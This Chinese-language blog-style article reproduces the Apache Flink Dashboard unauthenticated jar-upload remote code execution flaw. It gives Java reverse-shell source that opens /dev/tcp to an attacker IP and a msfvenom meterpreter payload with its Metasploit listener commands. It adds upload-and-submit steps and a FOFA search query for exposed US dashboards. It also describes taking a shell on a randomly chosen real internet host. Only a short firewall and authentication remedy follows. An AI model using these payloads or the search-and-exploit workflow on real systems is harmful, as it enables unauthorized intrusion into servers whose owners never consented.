apache flink任意jar包上传导致远程代码执行的示例分析

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

(1) 提前安装好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

(4) 进去到解压后的目录中,来到其bin目录下:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) 启动flink:

./start-cluster.sh

(6) 浏览器访问验证(默认端口为8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)

apache flink任意jar包上传导致远程代码执行的示例分析

开机自启设置

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

apache flink任意jar包上传导致远程代码执行的示例分析

记得修改ip和端口:

apache flink任意jar包上传导致远程代码执行的示例分析

代码:

package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;
cat <&5 | while read line; do $line 2>&5 >&amp5; done"};
Process p = r.exec(cmd);
p.waitFor();
}}

(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)

apache flink任意jar包上传导致远程代码执行的示例分析

b.然后选择java–>Runnable JAR file

apache flink任意jar包上传导致远程代码执行的示例分析

c.然后选择对应的java项目和导出路径以及导出文件名

apache flink任意jar包上传导致远程代码执行的示例分析

图片

这样就生成了一个反弹shell的jar包

msf生成jar马:

(1) 利用msfvenom来生成一个jar马:

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit

(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

本地复现:

(1) 访问目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit New job,打开上传jar包的页面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 点击Add New选择我们制作好的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

互联网站点:

fofa关键词:

“apache-flink-dashboard” && country=”US”

apache flink任意jar包上传导致远程代码执行的示例分析

(1) 随便找一个目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 利用flink上传jar包的功能将我们的jar包上传:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

关于apache flink任意jar包上传导致远程代码执行的示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

文章标题:apache flink任意jar包上传导致远程代码执行的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/26817

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月18日 下午10:45
下一篇 2022年9月18日 下午10:47

相关推荐

  • windows驱动精灵启动鼠标不动如何解决

    驱动精灵启动鼠标不动: 答:这是最新版的驱动精灵的bug。 这样的情况和电脑没有关系,是软件版本更新后造成的bug。 解决方法: 1、启动驱动精灵后,尝试拔出鼠标的USB接口,然后重新插入连接。 鼠标即可继续恢复正常使用。 2、强制重启电脑,重启时拔掉鼠标usb插口。 开机后再次插入连接即可。 驱动…

    2022年9月13日
    43000
  • 销售管理软件

    销售管理软件顾名思义就是专门管理销售人员的软件,这种管理软件在企业中是比较流行的,通过线索的精细化管理、客户分级分层管理、标准化销售流程管理,商机管理,产品价格、促销返利、订单管理、销售预测与数据分析等功能,实现线索到现金的完整业绩闭环,提升销售工作效能,驱动业绩增长,提升客户满意度。 现在无论什么…

    2022年3月24日
    63800
  • mysql怎么增加少数索引

    三种增加方法:1、使用“CREATE INDEX”语句增加,语法“CREATE UNIQUE INDEX 索引名 ON 表名(列名列表);”;2、建表时增加,语法“CREATE TABLE 表名(… UNIQUE KEY(列名列表) );”;3、修改表时增加,语法“ALTER TABLE…

    2022年9月22日
    3.2K00
  • cad字体不显示和电脑有关系吗

    1、当我们打开CAD的时候,会出现如下图的情况,那就说明是咱们电脑上缺少了对应的字体,导致图纸显示不全。 2、当系统出现了上述提示的时候,就说明我们电脑上缺少了这些字体,但这个时候不要点确定, 因为点击了确定,就会用其他字体来替换,会导致图纸显示错误。 这里我们以这个字体为例, 3、我们打开浏览器,…

    2022年9月16日
    49800
  • 怎么分析Facebook Ads广告业务API接口的源代码泄露漏洞

    发现漏洞 一个多月后,我就发现了存在Facebook Ads广告业务系统API中的一个漏洞。存在漏洞的API是一个图片处理接口,它用于Facebook商户账户上传广告图片,上传的图片会储存在一个名为“/adimages”的目录下,并用base64格式编码。所以,我的测试构想是,在这里的机制中,可以向…

    2022年9月19日
    57400
  • 如何分析APK安全及自动化审计

    一、 闲聊 说到移动安全,可能大家比较陌生,因为这方面的研究是在最近几年才逐渐火起来的。那么什么是移动安全呢?首先,我们知道,移动安全无非就是ios平台和安卓平台上的一些安全性的问题,包括平台系统系统本身的一些问题和应用层面上的问题。当然在客户端和服务端在进行交互的时候还需要涉及一些通信协议,主要是…

    2022年9月10日
    72500
  • windows中appdata文件夹怎么查看

    appdata文件夹查看方法: 1、首先打开桌面的计算机,再点击“工具”选择“文件夹选项”。 2、然后点击“查看”选项栏。 3、勾选下面的“显示隐藏的文件、文件夹和驱动器”。 4、最后只要进入c盘,就可以看到appdata文件夹了。 关于“windows中appdata文件夹怎么查看”这篇文章的内容…

    2022年8月31日
    1.2K00
  • MySQL安装常见报错怎么处理

    1.无法启动处理,错误1053 Windows 无法启动Mysql服务 错误1053:服务没有及时响应启动或控制请求 1.1 结束进程 处理方法: 1、在命令行中敲入tasklist查看进程 2、根据进程名杀死进程 taskkill /f /t /im 进程名称 1.2 更改网络服务 Server2…

    2022年9月15日
    85100
  • MySQL基于GTID主从搭建怎么实现

    一、用xtarbackup备份数据库 1.1 优势 使用xtarbackup来做主从的前期准备是因为xtarbackup备份数据和恢复数据都很快,特别适合数据量很大的数据库备份,而且它的安装非常的简单,使用也很简单….(巴拉巴拉,废话编不出来了)。 1.2 安装 具体版本根据自己的具体情…

    2022年8月27日
    38100
  • mysql查询视图命令是哪个

    mysql查询视图命令是“DESCRIBE”或者“SHOW CREATE VIEW”。DESCRIBE命令可以查看视图的字段信息,语法为“DESCRIBE 视图名;”,可简写为“DESC 视图名;”;而“SHOW CREATE VIEW”命令可以查看视图的详细信息,语法为“SHOW CREATE V…

    2022年9月18日
    65000
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部